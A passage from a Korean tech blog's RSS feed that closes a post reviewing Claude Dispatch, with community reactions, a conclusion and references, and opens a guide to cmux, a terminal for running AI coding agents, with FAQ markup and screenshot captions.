&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;종합 &amp;mdash; 커뮤니티가 내린 판정&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;반응&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: center; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비중(추정)&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;핵심 키워드&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;열광&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;~50%&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;OpenClaw killer&quot;, 패러다임 전환, Mac Mini 불필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;신중한 기대&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;~30%&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;컨셉은 좋다, 보안 장점, 그러나 Research Preview&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;회의적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;~20%&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;50% 성공률, macOS 중심(Windows 불안정), 자기&amp;nbsp;진화&amp;nbsp;불가,&amp;nbsp;무료&amp;nbsp;OpenClaw&amp;nbsp;대비&amp;nbsp;유료&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;한 줄 요약:&lt;/b&gt; X에서의 지배적 내러티브는 &lt;b&gt;&quot;안전하고 세련된 OpenClaw&quot;&lt;/b&gt;, 리뷰어들의 합의는 &lt;b&gt;&quot;컨셉은 강하지만 성공률 50%로 실전 신뢰는 아직&quot;&lt;/b&gt;, 한국 커뮤니티는 &lt;b&gt;&quot;인상적이지만 Windows 지원과 10GB VM이 더 급하다&quot;&lt;/b&gt;.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sDlYA/dJMcabXWU3J/cH8uyLWmksnWnPXRWJEzNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sDlYA/dJMcabXWU3J/cH8uyLWmksnWnPXRWJEzNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sDlYA/dJMcabXWU3J/cH8uyLWmksnWnPXRWJEzNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsDlYA%2FdJMcabXWU3J%2FcH8uyLWmksnWnPXRWJEzNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2004&quot; height=&quot;1102&quot; data-origin-width=&quot;2004&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 아직 Research Preview다. MacStories 테스트 기준 성공률 ~50%에 알림도 없고 스레드도 하나뿐이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clNJ7c/dJMcafMQb2k/XoLAKeNnjdTkzfRKh7v1G0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clNJ7c/dJMcafMQb2k/XoLAKeNnjdTkzfRKh7v1G0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clNJ7c/dJMcafMQb2k/XoLAKeNnjdTkzfRKh7v1G0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FclNJ7c%2FdJMcafMQb2k%2FXoLAKeNnjdTkzfRKh7v1G0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1990&quot; height=&quot;1084&quot; data-origin-width=&quot;1990&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그래도 방향은 뚜렷하다. 폰이 데스크탑 에이전트의 리모컨이 되는 것. OpenClaw든 Dispatch든 이 흐름을 향한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하루 간격으로, 젠슨 황이 OpenClaw 전략을 선언하고 Anthropic이 Dispatch를 출시했다. 같은 방향, 다른 전략. 어느 쪽이 더 일상에 파고들지는 앞으로 지켜볼 일이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Max 플랜이라면 바로 써볼 수 있다. Pro 플랜이라면 며칠 내다. 기대치를 Research Preview에 맞추고 시작하면 충분히 흥미로운 실험이 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 30px 0;&quot;&gt;&lt;b&gt;Dispatch 핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기능:&lt;/b&gt; QR코드 페어링으로 폰 &amp;harr; 데스크탑 하나의 지속 대화 스레드 공유&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;목적:&lt;/b&gt; 외출 중에도 집 컴퓨터의 Claude에게 로컬 파일&amp;middot;커넥터 작업 지시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;출시:&lt;/b&gt; 2026년 3월 17일 Research Preview (Max 즉시, Pro 며칠 내)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;한계:&lt;/b&gt; 성공률 ~50%, 알림 없음, 단일 스레드, 데스크탑 상시 실행 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OpenClaw 비교:&lt;/b&gt; 오픈소스 vs 구독, 메신저 자유도 vs 통합 경험&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Anthropic 공식 지원 문서 &amp;mdash; Assign tasks to Claude from anywhere in Cowork (support.claude.com)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;MacStories &amp;mdash; Hands-On with Claude Dispatch for Cowork&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Latent.space AINews &amp;mdash; Claude Cowork Dispatch: Anthropic's Answer to OpenClaw&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;The New Stack &amp;mdash; Claude Dispatch Versus OpenClaw (thenewstack.io)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;CNBC &amp;mdash; NVIDIA GTC 2026, Jensen Huang OpenClaw 발언&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;PromptArmor &amp;mdash; Claude Cowork Exfiltrates Files (promptarmor.com)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Simon Willison &amp;mdash; Lethal Trifecta 분석 (simonwillison.net)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Hacker News &amp;mdash; Claude Dispatch 토론 (news.ycombinator.com/item?id=47461151)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;GeekNews &amp;mdash; Claude Cowork Dispatch (news.hada.io/topic?id=27605)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;GPTers &amp;mdash; Claude Cowork 사용법 총정리 (gpters.org)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Reddit r/ClaudeAI, r/Anthropic, r/ClaudeCowork &amp;mdash; 커뮤니티 반응 및 실사용 팁&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>AI 비서</category>
      <category>AI 에이전트</category>
      <category>Anthropic</category>
      <category>claude cowork</category>
      <category>claude desktop</category>
      <category>Claude Dispatch</category>
      <category>Claude 원격</category>
      <category>Cowork 사용법</category>
      <category>dispatch</category>
      <category>OpenClaw</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/558</guid>
      <comments>https://goddaehee.tistory.com/558#entry558comment</comments>
      <pubDate>Mon, 23 Mar 2026 19:00:22 +0900</pubDate>
    </item>
    <item>
      <title>cmux란? cmux 설치 및 사용해보기 - AI 에이전트를 위해 설계된 터미널(cmux vs tmux 비교)</title>
      <link>https://goddaehee.tistory.com/557</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;
&lt;script type=&quot;application/ld+json&quot;&gt;
{
    &quot;@context&quot;: &quot;https://schema.org&quot;,
    &quot;@graph&quot;: [
        {
            &quot;@type&quot;: &quot;TechArticle&quot;,
            &quot;headline&quot;: &quot;cmux 완전 가이드 — AI 에이전트 전용 터미널, 설치부터 실전 멀티에이전트 운용까지&quot;,
            &quot;description&quot;: &quot;cmux v0.62.2 검증 기반. 설치, 계층 구조, CLI 레퍼런스, 출력 캡처, 내장 브라우저, 사이드바, tmux 마이그레이션, Claude Code 연동, 멀티에이전트 병렬 실행, 경쟁 도구 비교, 커뮤니티 반응까지 담은 완전 가이드.&quot;,
            &quot;datePublished&quot;: &quot;2026-03-01&quot;,
            &quot;dateModified&quot;: &quot;2026-03-23&quot;,
            &quot;author&quot;: {
                &quot;@type&quot;: &quot;Person&quot;,
                &quot;name&quot;: &quot;갓대희&quot;
            },
            &quot;publisher&quot;: {
                &quot;@type&quot;: &quot;Organization&quot;,
                &quot;name&quot;: &quot;갓대희 블로그&quot;
            }
        },
        {
            &quot;@type&quot;: &quot;FAQPage&quot;,
            &quot;mainEntity&quot;: [
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux는 어떻게 설치하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;Homebrew로 간단히 설치할 수 있습니다. 터미널에서 'brew tap manaflow-ai/cmux' 후 'brew install --cask cmux'를 실행하면 됩니다. Homebrew가 없거나 tap이 안 될 경우 GitHub Releases 페이지에서 DMG 파일을 직접 다운로드할 수 있습니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux의 read-screen과 send 명령은 어떻게 활용하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;cmux read-screen [pane-id]로 특정 Pane의 현재 화면 내용을 텍스트로 읽을 수 있고, cmux send [pane-id] '명령어'로 해당 Pane에 명령을 전송할 수 있습니다. 이를 통해 Claude Code가 다른 터미널의 빌드 결과나 테스트 출력을 읽고 적절한 후속 명령을 실행하는 워크플로우를 구성할 수 있습니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux와 Claude Code를 연동하면 어떤 워크플로우가 가능한가요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;하나의 Pane에서 실행 중인 Claude Code가 다른 Pane의 서버 로그나 테스트 결과를 read-screen으로 모니터링하고, 문제 발생 시 send로 자동으로 명령을 보내는 자율 디버깅 워크플로우를 구성할 수 있습니다. 내장 WebKit 브라우저로 터미널을 벗어나지 않고 웹 결과도 확인할 수 있습니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux는 기존 터미널과 무엇이 다른가요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;cmux는 AI 에이전트가 터미널 화면을 읽고, 명령을 보내고, 브라우저를 제어하고, 알림을 받을 수 있도록 설계된 macOS 네이티브 터미널입니다. identify, read-screen, send 같은 에이전트 전용 CLI API를 제공해 에이전트 간 터미널 오케스트레이션이 가능합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux의 4단계 계층 구조는 어떻게 구성되어 있나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;Window &gt; Workspace &gt; Pane &gt; Surface의 4단계 계층 구조로 구성됩니다. Window는 최상위 앱 창, Workspace는 논리적 작업 공간, Pane은 분할된 터미널 영역, Surface는 실제 터미널 세션입니다. Ghostty 엔진 기반 GPU 가속 렌더링을 사용합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux를 Claude Code와 어떻게 연동하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;cmux 환경 변수가 자동으로 주입되어 Claude Code가 현재 cmux 세션을 인식합니다. Claude Code에서 cmux의 read-screen API를 호출해 다른 Pane의 출력을 읽고, send API로 명령을 보낼 수 있습니다. 리더-워커 패턴으로 하나의 Claude가 다른 여러 Claude 세션을 조율하는 구성이 가능합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux는 무료인가요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;cmux 코어는 AGPL-3.0 라이선스의 오픈소스 프로젝트로 무료 사용 가능합니다. 다만, 별도의 'Founder's Edition' 유료 구독이 존재하며, 우선 지원, AI 기능 조기 접근, iOS 앱, 클라우드 VM 등의 프리미엄 기능을 제공합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux를 사용하려면 Ghostty를 별도 설치해야 하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;아닙니다. cmux는 libghostty를 라이브러리로 임베드하고 있어 Ghostty를 별도로 설치할 필요가 없습니다. 다만, Ghostty의 설정 파일(~/.config/ghostty/config)이 있으면 cmux가 이를 읽어서 테마와 폰트를 적용합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;cmux에서 여러 AI 에이전트를 동시에 운영할 수 있나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;가능합니다. 리더-워커 패턴이 커뮤니티에서 검증된 구성입니다. 리더 에이전트가 cmux read-screen으로 워커 에이전트의 진행 상황을 모니터링하고, cmux send로 수정 명령을 전달하는 구조입니다.&quot;
                    }
                }
            ]
        }
    ]
}
&lt;/script&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 AI 코딩 에이전트를 터미널에서 본격적으로 활용하는 사람이라면 알아두면 좋은 도구, &lt;b&gt;cmux&lt;/b&gt;에 대해 다뤄보려 한다.&lt;br /&gt;&lt;br /&gt;Claude Code, OpenAI Codex, Gemini CLI 등 다양한 AI 에이전트를 터미널에서 병렬로 돌리다 보면 tmux만으로는 한계를 느끼게 된다. 브라우저를 따로 띄워야 하고, 에이전트 간 상태 공유가 안 되고, 사이드바에 진행률을 표시할 방법도 없다. cmux는 이런 문제를 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;네이티브 레벨에서&lt;/b&gt;&lt;/span&gt; 해결하는 AI 에이전트 전용 터미널이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UkhOn/dJMcahRh2nf/1UYRwVby8cVwbjpHaUNZXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UkhOn/dJMcahRh2nf/1UYRwVby8cVwbjpHaUNZXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UkhOn/dJMcahRh2nf/1UYRwVby8cVwbjpHaUNZXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUkhOn%2FdJMcahRh2nf%2F1UYRwVby8cVwbjpHaUNZXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2310&quot; height=&quot;1218&quot; data-origin-width=&quot;2310&quot; data-origin-height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;이렇게도 사용 가능 하다는것을 개념적으로 이해하는 것을 목표로 글을 작성해보려고 한다. &lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;(예제 : 내 바이브 코딩용 사이트 분석&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://goddaehee.co.kr)&quot;&gt;https://goddaehee.co.kr)&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;좌상단 : 오케스트레이션 Agent - Claude Code&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;우상단 : Cmux 내장 브라우저&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;좌하단 : 디자인 전문 Agent - Claude Code&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;우하단 : 디자인 전문 Agent - Codex&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;- 작업 중인 모습&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1924&quot; data-origin-height=&quot;1134&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UyRWz/dJMcabwOdMz/8iFih9mIm9Wg5oslbKeFYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UyRWz/dJMcabwOdMz/8iFih9mIm9Wg5oslbKeFYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UyRWz/dJMcabwOdMz/8iFih9mIm9Wg5oslbKeFYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUyRWz%2FdJMcabwOdMz%2F8iFih9mIm9Wg5oslbKeFYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1924&quot; height=&quot;1134&quot; data-origin-width=&quot;1924&quot; data-origin-height=&quot;1134&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;br /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 작업 완료 : 최종 결과를 에이전틱 Agent가 알아서 요약까지 완료 한 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3802&quot; data-origin-height=&quot;1976&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMLif9/dJMcag5YDgM/3EDbFZ3Zf8mGfu5WnWKl21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMLif9/dJMcag5YDgM/3EDbFZ3Zf8mGfu5WnWKl21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMLif9/dJMcag5YDgM/3EDbFZ3Zf8mGfu5WnWKl21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMLif9%2FdJMcag5YDgM%2F3EDbFZ3Zf8mGfu5WnWKl21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3802&quot; height=&quot;1976&quot; data-origin-width=&quot;3802&quot; data-origin-height=&quot;1976&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 내 메인 에이전트의 작업 진행률, 진행 상황을 알려주는 모습.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;526&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1gX0K/dJMcaf0g2Hg/tCHCc5CgAUgOu2wVsbcrPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1gX0K/dJMcaf0g2Hg/tCHCc5CgAUgOu2wVsbcrPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1gX0K/dJMcaf0g2Hg/tCHCc5CgAUgOu2wVsbcrPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1gX0K%2FdJMcaf0g2Hg%2FtCHCc5CgAUgOu2wVsbcrPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;237&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;526&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 특정 에이전트의 작업 알림도 계속 받아 볼 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P2xW9/dJMcadH8kmI/8dkMcwKzARkEeHaTQ2UeAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P2xW9/dJMcadH8kmI/8dkMcwKzARkEeHaTQ2UeAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P2xW9/dJMcadH8kmI/8dkMcwKzARkEeHaTQ2UeAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP2xW9%2FdJMcadH8kmI%2F8dkMcwKzARkEeHaTQ2UeAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 